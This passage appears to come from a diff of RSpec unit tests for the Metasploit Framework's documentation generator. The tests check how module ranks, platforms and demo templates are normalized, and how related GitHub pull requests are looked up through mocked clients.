it 'returns the platform' do
expect(subject.send(:normalize_platforms, msf_mod.platforms)).to eq(mod_platforms)
end
end
end
describe 'normalize_rank' do
context 'when a rank is given' do
it 'returns the rank' do
expect(subject.send(:normalize_rank, msf_mod.rank)).to include('Normal')
end
it 'includes a wiki about exploit ranks' do
wiki = 'https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking'
expect(subject.send(:normalize_rank, msf_mod.rank)).to include(wiki)
end
end
end
describe 'load_demo_template' do
context 'when a BrowserExploitServer demo template path is given' do
it 'returns the demo' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::BES_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is also supported by Browser Autopwn 2')
end
end
end
describe 'normalize_demo_output' do
context 'when the module is a kind of Msf::Exploit::Remote::HttpServer' do
it 'returns the demo of HTTPSERVER_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::HTTPSERVER_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include("use #{mod_fullname}")
end
end
context 'when the module is a remote exploit' do
it 'returns the demo of REMOTE_EXPLOIT_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::REMOTE_EXPLOIT_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('it looks like this is a remote exploit module')
end
end
context 'when the module is a kind of Msf::Exploit::Local' do
it 'returns the content of LOCALEXPLOIT_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::LOCALEXPLOIT_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('To run a local exploit, make sure you are at the msf prompt.')
end
end
context 'when the module is a kind of Msf::Post' do
it 'returns the demo of POST_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::POST_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('There are two ways to execute this post module')
end
end
context 'when the module is a kind of Msf::Payload' do
it 'returns the demo of PAYLOAD_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::PAYLOAD_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('> generate')
end
end
context 'when the module is a kind of Msf::Auxiliary::Scanner' do
it 'returns the demo of AUXILIARY_SCANNER_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is a scanner module')
end
end
context 'when the module does not have a known kind' do
it 'returns the demo of GENERIC_DEMO_TEMPLATE' do
template = Msf::Util::DocumentGenerator::DocumentNormalizer::GENERIC_DEMO_TEMPLATE
expect(subject.send(:load_demo_template, msf_mod, template)).to include('msf exploit')
end
end
end
end

View File

@ -0,0 +1,162 @@
require 'rex'
require 'msf/util/document_generator'
require 'octokit'
require 'net/http'
RSpec.describe Msf::Util::DocumentGenerator::PullRequestFinder do
let(:author_name) { 'name' }
let(:commit) do
c = double('commit')
allow(c).to receive(:author).and_return({author: author_name, login: author_name})
allow(c).to receive(:sha).and_return('sha')
c
end
let(:commits) do
[ commit ]
end
let(:pr_num) { '5486' }
let(:html) do
%Q|
<html>
<head></head>
<body>
<li class="pull-request">(<a href="/rapid7/metasploit-framework/pull/#{pr_num}" title="Merged Pull Request: adobe_flash_copy_pixels_to_byte_array: Execution from the flash renderer / Windows 8.1">##{pr_num}</a>)</li>
</body>
</html>
|
end
subject do
obj = described_class.new
obj.git_access_token = 'GITHUB_AUTH_TOKEN'
octo = Octokit::Client.new
allow(octo).to receive(:commits).and_return(commits)
allow(obj).to receive(:git_client).and_return(octo)
obj
end
let(:http_response) do
req = double('HttpResponse')
allow(req).to receive(:body).and_return(html)
req
end
let(:module_name) { 'modules/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb' }
let(:msf_mod) do
mod = double('Msf::Module')
init = double('Msf::Module#initialize')
allow(init).to receive(:source_location).and_return([ module_name ])
allow(mod).to receive(:method).with(any_args).and_return(init)
mod
end
before(:each) do
allow(ENV).to receive(:has_key?).and_return(true)
allow_any_instance_of(Net::HTTP).to receive(:request).with(any_args).and_return(http_response)
end
describe '#initialize' do
it 'sets the owner property' do
expect(subject.owner).to eq('rapid7')
end
it 'sets the repository' do
expect(subject.repository).to eq('rapid7/metasploit-framework')
end
it 'sets the branch' do
expect(subject.branch).to eq('master')
end
it 'sets the git access token' do
subject1 = described_class.new
subject1.git_access_token = 'FAKE KEY'
subject2 = described_class.new
expect(subject2.git_access_token).not_to eq(subject1.git_access_token)
end
it 'sets Octokit::Client' do
expect(subject.git_client).to be_kind_of(Octokit::Client)
end
end
describe '#search' do
context 'when a module is given' do
it 'returns a hash of pull requests' do
result = subject.search(msf_mod)
expect(result).to be_kind_of(Hash)
expect(result.keys.first).to eq(pr_num)
expect(result.first[1][:number]).to eq(pr_num)
expect(result.first[1][:title]).to include('Merged Pull Request')
end
end
end
describe '#get_normalized_module_name' do
context 'when a module is given' do
it 'returns the module name' do
expect(subject.send(:get_normalized_module_name, msf_mod)).to eq(module_name)
end
end
end
describe '#get_commits_from_file' do
context 'when a module path is given' do
it 'returns commits' do
expect(subject.send(:get_commits_from_file, module_name)).to eq(commits)
end
end
end
describe '#get_author' do
context 'when a commit is given' do
it 'returns the author name' do
expect(subject.send(:get_author, commit)).to eq(author_name)
end
end
end
describe '#is_author_blacklisted?' do
context 'when a commit authored by tabassassin is given' do
it 'returns true' do
c = double('commit')
allow(c).to receive(:author).and_return({author: 'tabassassin', login: 'tabassassin'})
expect(subject.send(:is_author_blacklisted?, c)).to be_truthy
end
end
context 'when a commit authored by a human is given' do
it 'returns false' do
expect(subject.send(:is_author_blacklisted?, commit)).to be_falsey
end
end
end
describe '#get_pull_requests_from_commits' do
context 'when commits are given' do
it 'returns pull requests' do
pr = subject.send(:get_pull_requests_from_commits, commits)
expect(pr).to be_kind_of(Hash)
expect(pr.keys.first).to eq(pr_num)
end
end
end
describe '#get_pull_request_from_commit' do
context 'when a commit is given' do
it 'returns a pull request' do
pr = subject.send(:get_pull_request_from_commit, commit)
expect(pr).to be_kind_of(Hash)
expect(pr[:number]).to eq(pr_num)
end
end
end
end